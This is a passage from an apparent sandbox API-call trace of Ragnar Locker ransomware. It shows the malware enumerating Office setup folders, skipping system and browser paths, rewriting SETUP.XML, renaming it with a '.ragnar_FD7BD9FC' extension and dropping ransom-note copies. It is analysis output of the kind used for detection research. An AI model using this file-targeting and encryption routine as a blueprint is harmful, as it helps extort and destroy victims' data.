lpString2="desktop.ini") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.885] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0061.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0061.886] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1852) returned 1 [0061.886] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x733, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.886] GetProcessHeap () returned 0x580000 [0061.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.886] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.887] VirtualAlloc (lpAddress=0x0, dwSize=0x73c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.888] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.888] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.888] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x73c, lpOverlapped=0x0) returned 1 [0061.889] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.889] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73c, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.889] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x73c, lpOverlapped=0x0) returned 1 [0061.889] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.889] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.889] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x73c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.889] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.889] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.889] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.889] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.889] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.890] GetProcessHeap () returned 0x580000 [0061.890] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.890] CloseHandle (hObject=0x104) returned 1 [0061.890] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" [0061.890] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0061.890] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.891] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.891] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.891] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0061.891] lstrcmpiW (lpString1="ODeploy.exe", lpString2=".") returned 1 [0061.891] lstrcmpiW (lpString1="ODeploy.exe", lpString2="..") returned 1 [0061.891] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2=".") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="..") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Windows") returned -1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Windows.old") returned -1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Tor browser") returned -1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Internet Explorer") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Google") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Opera") returned -1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Opera Software") returned -1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Mozilla") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="Mozilla Firefox") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="$Recycle.Bin") returned 1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="ProgramData") returned -1 [0061.891] lstrcmpiW (lpString1="Office.en-us", lpString2="All Users") returned 1 [0061.891] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0061.892] lstrcpyW (in: lpString1=0x1eab90, lpString2="Office.en-us" | out: lpString1="Office.en-us") returned="Office.en-us" [0061.892] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0061.892] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0061.892] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\RGNR_FD7BD9FC.txt" [0061.892] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0061.898] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*" [0061.898] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.898] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.898] lstrcpyW (in: lpString1=0x1e9cbe, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77236e40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77236e40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.899] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77236e40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77236e40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.899] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0061.899] lstrcmpiW (lpString1="BRANDING.DLL", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="BRANDING.DLL", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0061.899] lstrcmpiW (lpString1="BRANDING.XML", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="BRANDING.XML", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0061.899] lstrcmpiW (lpString1="OCT.CHM", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="OCT.CHM", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0061.899] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="OfficeMUI.XML", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0061.899] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0061.899] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0061.899] lstrcmpiW (lpString1="promointl.dll", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="promointl.dll", lpString2="..") returned 1 [0061.899] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0061.899] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2=".") returned 1 [0061.899] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0061.900] lstrcmpiW (lpString1="PSS10O.CHM", lpString2=".") returned 1 [0061.900] lstrcmpiW (lpString1="PSS10O.CHM", lpString2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0061.900] lstrcmpiW (lpString1="PSS10R.CHM", lpString2=".") returned 1 [0061.900] lstrcmpiW (lpString1="PSS10R.CHM", lpString2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77236e40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77236e40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.900] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0061.900] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0061.900] lstrcmpiW (lpString1="SETUP.CHM", lpString2=".") returned 1 [0061.900] lstrcmpiW (lpString1="SETUP.CHM", lpString2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.900] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0061.900] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.900] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77236e40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77236e40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77236e40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77236e40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.900] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0061.900] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") 